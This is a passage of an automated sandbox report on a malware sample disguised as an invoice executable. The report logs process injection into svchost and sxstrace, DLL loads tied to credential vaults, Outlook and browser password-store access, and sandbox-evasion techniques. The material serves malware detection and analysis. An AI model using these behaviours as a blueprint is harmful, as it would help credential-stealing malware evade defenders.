                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A1D5A5_2_043A1D5A
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F3D405_2_042F3D40
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0430FDC05_2_0430FDC0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F9EB05_2_042F9EB0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AFF095_2_043AFF09
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AFFB15_2_043AFFB1
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F1F925_2_042F1F92
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0435D8005_2_0435D800
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F38E05_2_042F38E0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0430B9505_2_0430B950
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F99505_2_042F9950
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04363A6C5_2_04363A6C
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AFA495_2_043AFA49
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A7A465_2_043A7A46
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04335AA05_2_04335AA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0438DAAC5_2_0438DAAC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0439DAC65_2_0439DAC6
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AFB765_2_043AFB76
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0430FB805_2_0430FB80
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04365BF05_2_04365BF0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0432DBF95_2_0432DBF9
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00131FA05_2_00131FA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0012D0F05_2_0012D0F0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0012B11A5_2_0012B11A
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0012B1705_2_0012B170
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001211A15_2_001211A1
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001355E05_2_001355E0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013381B5_2_0013381B
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001338205_2_00133820
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0014BC005_2_0014BC00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0012CED05_2_0012CED0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414E78E5_2_0414E78E
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414E2D85_2_0414E2D8
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414038E5_2_0414038E
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414E3F45_2_0414E3F4
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414D8585_2_0414D858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0302B970 appears 280 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030BF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03075130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03087E54 appears 111 times
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: String function: 04325130 appears 37 times
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: String function: 0435EA12 appears 86 times
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: String function: 042DB970 appears 274 times
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: String function: 04337E54 appears 99 times
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: String function: 0436F290 appears 105 times
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: String function: 00445975 appears 65 times
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: String function: 0041171A appears 37 times
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: String function: 0041718C appears 45 times
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: String function: 0040E6D0 appears 35 times
                Source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110066663.00000000049DD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 19387759999PO-RFQ-INVOICE-doc.exe
                Source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110661567.0000000004833000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 19387759999PO-RFQ-INVOICE-doc.exe
                Source: 19387759999PO-RFQ-INVOICE-doc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@11/11
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeFile created: C:\Users\user\AppData\Local\Temp\reenlargeJump to behavior
                Source: 19387759999PO-RFQ-INVOICE-doc.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: sxstrace.exe, 00000005.00000003.2482047004.0000000002653000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2482195016.0000000002674000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3927487929.0000000002674000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3927487929.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2484494951.000000000267E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: 19387759999PO-RFQ-INVOICE-doc.exeReversingLabs: Detection: 50%
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeFile read: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeJump to behavior
                Source: unknownProcess created: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeProcess created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe"Jump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeProcess created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: 19387759999PO-RFQ-INVOICE-doc.exeStatic file information: File size 1349827 > 1048576
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: yCokjJdvaMLab.exe, 00000003.00000002.3927452243.00000000008BE000.00000002.00000001.01000000.00000004.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3927763871.00000000008BE000.00000002.00000001.01000000.00000004.sdmp
                Source: Binary string: sxstrace.pdb source: svchost.exe, 00000002.00000003.2262513548.000000000082B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2262497869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927801515.0000000000998000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: sxstrace.pdbGCTL source: svchost.exe, 00000002.00000003.2262513548.000000000082B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2262497869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, yCokjJdvaMLab.exe, 00000003.00000002.3927801515.0000000000998000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdbUGP source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110066663.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110307380.0000000004710000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2182276050.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2183981666.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.0000000003000000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2301973753.0000000004106000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.000000000444E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.00000000042B0000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2300320625.0000000003F56000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110066663.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, 19387759999PO-RFQ-INVOICE-doc.exe, 00000000.00000003.2110307380.0000000004710000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2182276050.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2183981666.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2294060571.0000000003000000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, sxstrace.exe, 00000005.00000003.2301973753.0000000004106000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.000000000444E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3928532637.00000000042B0000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000003.2300320625.0000000003F56000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: sxstrace.exe, 00000005.00000002.3927487929.00000000025F4000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3929016472.00000000048DC000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.00000000029AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D25C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: sxstrace.exe, 00000005.00000002.3927487929.00000000025F4000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000005.00000002.3929016472.00000000048DC000.00000004.10000000.00040000.00000000.sdmp, yCokjJdvaMLab.exe, 00000006.00000002.3928534258.00000000029AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2591250492.000000002D25C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
                Source: 19387759999PO-RFQ-INVOICE-doc.exeStatic PE information: real checksum: 0xa2135 should be: 0x14c7b8
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041508C push ss; ret 2_2_00415092
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414092 push FFFFFFBDh; retf 2_2_00414097
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004181AE push edx; retf 2_2_004181B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416A53 push FFFFFF97h; retf 2_2_00416ACD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040DA83 push eax; iretd 2_2_0040DA85
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00419316 push ss; ret 2_2_0041931C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004034C0 push eax; ret 2_2_004034C2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041F543 push eax; iretd 2_2_0041F57F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00413D5E push ds; retf 2_2_00413D62
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041ED24 push ds; iretd 2_2_0041ED44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414633 pushad ; iretd 2_2_00414795
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041474F pushad ; iretd 2_2_00414795
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418729 pushfd ; retf 2_2_0041874A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300225F pushad ; ret 2_2_030027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030027FA pushad ; ret 2_2_030027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030309AD push ecx; mov dword ptr [esp], ecx2_2_030309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300283D push eax; iretd 2_2_03002858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0300135E push eax; iretd 2_2_03001369
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042E09AD push ecx; mov dword ptr [esp], ecx5_2_042E09B6
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013C074 push eax; iretd 5_2_0013C0BC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013C080 push eax; iretd 5_2_0013C0BC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013C0D2 push eax; iretd 5_2_0013C0BC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00135266 pushfd ; retf 5_2_00135287
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00133590 push FFFFFF97h; retf 5_2_0013360A
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001375AB push edi; retf E1CFh5_2_001375BB
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00132790 push es; ret 5_2_00132864
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001327FF push es; ret 5_2_00132864
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001327E7 push es; ret 5_2_00132864
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00140873 push ds; iretd 5_2_00140874
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0013B861 push ds; iretd 5_2_0013B881
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Contains functionality to detect sleep reduction / modifications
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004440780_2_00444078
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeAPI/Special instruction interceptor: Address: 405AA5C
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED7E4
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED944
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED504
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED544
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307096E rdtsc 2_2_0307096E
                Source: C:\Windows\SysWOW64\sxstrace.exeWindow / User API: threadDelayed 9706Jump to behavior
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeAPI coverage: 3.3 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\sxstrace.exeAPI coverage: 2.8 %
                Source: C:\Windows\SysWOW64\sxstrace.exe TID: 1124Thread sleep count: 266 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exe TID: 1124Thread sleep time: -532000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exe TID: 1124Thread sleep count: 9706 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exe TID: 1124Thread sleep time: -19412000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe TID: 5852Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe TID: 5852Thread sleep time: -43500s >= -30000sJump to behavior
                Source: C:\Program Files (x86)\tBgivBAYQiSxlmTYKYqbGBogeQiqjdjPlxBQXMkHFYLsfriFtdSvPYCFjMNYVWNwnPRsoRcULAzTPg\yCokjJdvaMLab.exe TID: 5852Thread sleep time: -30000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\sxstrace.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\sxstrace.exeLast function: Thread delayed
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
